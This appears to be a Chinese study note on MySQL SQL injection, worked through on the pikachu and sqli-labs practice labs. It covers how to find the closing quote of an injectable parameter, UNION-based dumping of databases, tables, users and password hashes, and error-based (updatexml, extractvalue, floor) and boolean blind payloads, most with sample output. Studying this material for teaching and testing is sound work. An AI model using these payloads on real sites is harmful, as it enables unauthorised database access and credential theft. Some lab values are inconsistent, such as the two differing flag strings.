1.11、数据库中的逻辑运算符
或 且 非
or and not
真 且 真 =真
真 且 假 =假
真 或 假 =真
and 比 or 的优先级要高
1.12、mysql相关语法
注释:
#
-- --空格
/* */
/*! */ 内联查询
常见函数与参数:
substring(string,position) 从某个位置开始截取字符串
substr(string,start,length) 截取字符串的一部分
left(str,length) 从左开始截取指定长度的字符串
ASCII(str1)
返回字符串str的最左面字符的ASCII代码值
ORD() 函数
ORD() 函数返回字符串第一个字符的ASCII 值
深度讲解:sql语句
一般以5.0区分
1、在mysql 5.0以上版本中,
mysql存在一个自带数据库名为information_schema,
它是一个存储记录所有数据库名、表名、列名的数据库
information_schema``````````````sql自带的元库
----schemata··············记录库名的表
--------schema_name·········库名
----tables···················记录表名的表
--------table_schema··········库名
--------table_name·············表名
----columns················记录列名的表
--------table_schema··········库名
--------table_name
--------column_name··········列名
也相当于可以通过查询它来获取指定数据库下面的表名或列名信息,因此在注入的第一步就是获取数据库的版本和库名
2、而低版本,采取暴力查询或结合读取查询
数据库版本 version() 5.7.22-0ubuntu0.16.04.1
数据库名字 database() mozhe_Discuz_StormGroup
数据库用户 user() root@localhost
操作系统 @@version_compile_os
数据库中符号"."代表下一级,如xiao.user表示xiao数据库下的user表名
SQL注入思路
御剑扫描网站后台
思路如下:
1 判断交互方式 get/post/http head
2 预判数据库执行语句
3 判断提交数据的闭合方式 整形、‘ ’、“ ”,(),(‘ ’),(“ ”) 快速判断闭合方式 and 1=1 和and 1=2
4 构造语句打破闭合
5 构造联合查询判断输出位 通过order by 判断列数 建议使用二分法
根据注入点的分类
根据注入手法分类
?id=34 +1/-1-------页面有回显--------联合查询(可跨库、跨表)
猜测代码:select * from tablename where id=$id
字符型?数字型?
?id=35' ---------报错有回显--------报错注入
报错:near ' ' ' at line 1-----------左右两边的'是报错语句自带的
说明错误代码多了一个 '
' 前面的代码正确,说明是数字型
猜测代码:select * from tablename where id=35'
?id=35 and 1=1 是否有布尔类型的状态-------布尔盲注
?id=35 and 1=2
猜测代码:select * from tablename where id=35 and 1=1
猜测代码:select * from tablename where id=35 and 1=2
?id=35 and sleep(5) 观察是否有延时显示-----延时注入
通过浏览器F12,网络,时间线即可准确判断
数字型,一般没有闭合符
字符型,一定有闭合符
常见闭合符:
' 单引号
" 双引号
( )括号
[ ] 方括号
以上四种均可以自由组合
2.21有报错回显的情况
报错回显是最简单的判断闭合符方法,举例:
?id=1' 报错:near ' ' ' at line 1-----------左右两边的'是报错语句自带的
说明错误代码多了一个 ' , ' 前面的代码正确,说明是数字型。
?id=1' 报错:near ''1'' LIMIT 0,1' at line 1-----去掉报错语句的两个单引号后,真正的报错语句:'1'' LIMIT 0,1
由于1'是我们自己输入的,所以剩下的闭合符:' ' 两个单引号
因此闭合符为单引号。
进一步确定闭合符:
注释:?id=1' --+ 回显正常,说明就是单引号闭合
?id=1' and '1'='1 回显正常,说明就是单引号闭合
2.22、无报错回显,只能猜
1、猜测:where id=$id
id=1 and 1=1 正常
id=1 and 1=2 不正常
2、猜测:where id=’$id’
id=1’ and ‘1’=‘1 正常
id=1’ and ‘1’=‘2 错误(这时,可以确定sql语句可以正常执行了)
3、猜测:where id="$id"
id=1" and “1”=“1 正常
id=1” and “1”="2 正常
4、猜测:where id=(’$id’)
id=1’) and (‘1’=‘1 正常
id=1’) and (‘1’=‘2 错误(这时,可以确定sql语句可以正常执行了,排除上面单引号闭合)
5、猜测:where id=((’$id’))
id=1’)) and ((‘1’=‘1 正常
id=1’)) and ((‘1’=‘1 错误(这时,可以确定sql语句可以正常执行了,排除上面 ') 方式闭合)
6、猜测:where id=(((’$id’)))
id=1’))) and (((‘1’='1 错误,并且,这里的错误与前面的不一样,具体看下面的截图
到这里,单引号加括号的组合就不用再试了,最有可能的就是 ‘))
7、猜测:where id=("$id")
id=1") and (“1”=“1 正常
id=1”) and (“1”="2 正常
到这里已经可以肯定闭合符号就是’))
————————————————
特别注意:
在测试闭合符号的时候,如果sql语句能够执行,闭合符号也不一定正确,在测试的过程中要注意这种带括号的闭合符号,避免出错
有括号的时候,不带括号,或者括号少于真实数量的时候,sql语句是可以执行的,但是后面如果要拼接order by、union select这样子就不行了。
union select:联合查询的解释
order by
作用是判断当前table的字段数,这是进行union select的必要条件
在这里使用1,2,3,4,5,6,7。。。。。
是因为数字可以自动转换成字符串,所以符合联合查询的要求
获取基础数据
union select database(),user()
database()将会返回当前网站所使用的数据库名字.
user()将会返回执行当前查询的用户名.
union select version(),@@version_compile_os
version() 获取当前数据库版本.
@@version_compile_os 获取当前操作系统
获取表名,字段(列)名
获取指定数据
pikachu第二关测试
SQL injections Less-2 模拟
获取所有数据库名
id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
回显 information_schema,challenges,db1,mysql,performance_schema,pikachu,security,sys
获取指定数据库名下的表名信息
id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pikachu'
回显
httpinfo,member,message,users,xssblind
获取指定数据库pikachu下表users的列名数据
id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='pikachu'
回显
id,username,password,level
获取指定表内的数据
id=-1 union select 1,username,password from pikachu.users
回显
admin e10adc3949ba59abbe56e057f20f883e
2.41、 updatexml报错
首先了解下updatexml()函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串),如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值
而我们的注入语句为:
updatexml(1,concat(0x7e,database(),0x7e),1) sqli-labs第20关验证
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出
ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'
id=1' 错误 id=1" 正常 id=1' --+正常,说明是单引号字符串
?id=-1' and updatexml(1,concat(0x7e,version(),0x7e),1) --+ 回显版本5.7.26
替换database()得到security
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+
回显 '~emails,referers,uagents,users~'
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
回显 '~id,username,password~'
?id=1' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1) --+
回显用户名,因为updatexml()这个函数最多只能爆32位字符,而我们要爆的数据超过了这个位数,所以我们一个一个的查,使用limit 0,1来实现
'~flag{f99c688f101bb53fdbf178a89182e}'
flag{f99c688f101bb53fdbf178ad0889182e}
2.42、extractvalue报错
?id=1 and extractvalue(1,concat(0x7e,(select user()))) --+
使用方法与updatexml一样
2.43、floor报错 即双查询注入
?id=1' union Select 1,count(*),concat((select user()),floor(rand(0)*2)) as a from information_schema.columns group by a--+
回显 'root@localhost1'
-----------------------------
?id=1' and (select 1 from (select count(*),concat(((select group_concat(schema_name) from information_schema.schemata)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
回显所有数据库名(最多64字符)
----------------------------------
?id=1' union select count(*),1, concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a --+
回显第一个表名
--------------------------------
?id=1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a --+
回显第一个列名
------------------------------
?id=1' union select count(*),1, concat('~',(select username from users limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a --+
回显 第一个用户名
特别注意:
updatexml和extractvalue爆出来的数据最多只有32位,但是数据库存的是password的MD5值,有32位,所以说得到的md5是不对的,需要进行两次注入才能得到完整的密码,以extractvalue()函数为例:
user=123' or extractvalue(1,concat((select concat(0x7e,password) from manage)))#&password=
user=123' or extractvalue(1,concat((select concat(password,0x7e) from manage)))#&password=
————————————————
?id=35 and 1=1 正常
?id=35 and 1=2 异常
说明存在布尔类型的状态-------布尔盲注
1首先猜长度
?id=35 and length(database())<10 正常说明数据库名的长度小于10
?id=35 and length(database())<5 错误说明长度大于5
?id=35 and length(database())=3 正常说明长度为3
2从第一个字母开始猜
?id=35 and ascii(substr(database(),1,1))>64 判断第一个字母的ascii是否>68
二分法,极限中的夹逼准则,能够减少猜测次数